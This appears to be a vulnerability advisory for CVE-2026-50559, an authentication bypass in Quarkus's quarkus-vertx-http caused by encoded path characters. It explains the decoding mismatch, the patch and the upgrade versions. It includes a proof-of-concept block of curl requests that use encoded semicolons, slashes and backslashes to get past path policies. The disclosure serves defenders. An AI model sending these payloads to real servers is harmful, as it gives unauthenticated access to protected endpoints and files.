high · 7.5CVE-2026-50559Jul 29, 2026

CVE-2026-50559: quarkus-vertx-http Authentication Bypass via Encoded Path Characters

Rohit Hatagale
AI Security Researcher, SecureLayer7

Quarkus path-based authorization policies can be completely bypassed by percent-encoding semicolons, slashes, or backslashes in request URLs, letting unauthenticated attackers reach protected…

Packageio.quarkus:quarkus-vertx-http
Ecosystemmaven
Affected< 3.20.6.2
Fixed in3.20.6.2
CVE-2026-50559: quarkus-vertx-http Authentication Bypass via Encoded Path Characters

The problem

The security layer in quarkus-vertx-http evaluates authorization against a partially-decoded path produced by Vert.x's normalizedPath(). That function only decodes unreserved RFC 3986 characters (letters, digits, -, ., _, ~), leaving reserved characters like %3B, %2F, and %5C encoded.

The matrix-parameter stripper (pathWithoutMatrixParams()) then searches for a literal ; character. Because %3B is never decoded, it is invisible to that check. The encoded semicolon and everything after it become part of the path segment, so a policy configured for /api/admin/* never matches /api/admin%3Bbypass=true/data.

For static resources, the static handler (StaticHandlerImpl, FileSystemStaticHandler) performs a full URIDecoder.decodeURIComponent() pass and converts backslashes to forward slashes before resolving the file. Characters that survive the security layer's partial decode (%2F, %5C) are fully decoded by the static handler, allowing access to files behind path policies.

Proof of concept

A working proof-of-concept for CVE-2026-50559 in io.quarkus:quarkus-vertx-http, with the exact payload below.

bash
# 1. Encoded semicolon — bypasses path-policy on any protected REST endpoint
# Security sees "/api/admin%3Bbypass=true/data", no match for /api/admin/* policy
curl -v 'http://target/api/admin%3Bbypass=true/data'

# Lowercase hex variant
curl -v 'http://target/api/secret%3b/data'

# 2. Encoded slash — bypasses path-policy on protected static files
# Static handler decodes %2F -> / and resolves the file
curl -v 'http://target/static-secret%2Fhtml'

# 3. Encoded backslash — static handler decodes %5C -> \ -> /
curl -v 'http://target/static-secret%5Chtml'

# 4. Double-encoded slash — security sees %2F (inert), static handler decodes it to /
curl -v 'http://target/secret%252Fconfidential.html'

The root cause is a mismatch in decoding depth between the security layer and the downstream handlers (CWE-178, CWE-706, CWE-863). pathWithoutMatrixParams() operated on the output of normalizedPath() where %3B is still encoded, so the literal ; search never matched it, and the full admin%3Bbypass=true token was treated as the path segment for policy evaluation.

The patch replaces this pipeline with a new normalizePath() method that loops through full percent-decoding, strips null bytes, converts backslashes to forward slashes, and resolves dot segments before any policy match is attempted. This aligns the security layer's canonical path with what every downstream handler actually sees.

Note: REST endpoints (Quarkus REST / RESTEasy Reactive) are not affected by the %2F/%5C vectors because their routing also calls normalizedPath(), so security and routing always agree on the path. The %3B smuggling vector does affect all endpoints behind quarkus.http.auth.permission path-based policies.

The fix

Upgrade io.quarkus:quarkus-vertx-http to a patched release: **3.20.6.2**, 3.27.4.1, 3.27.5, 3.33.2.1, 3.33.3, 3.36.3, or 3.37.0. The fix is in commit 919b80017d85564143a845b38e9cca54aff5b3cc. If upgrading is not immediately possible, remove path-based policies from static resource routes and gate them with annotation-based security (@RolesAllowed) as a temporary measure, noting that %3B smuggling still applies to any remaining path policies.

Reported by geoand (George Andrinopoulos).

References: [1][2][3][4][5][6]

Related research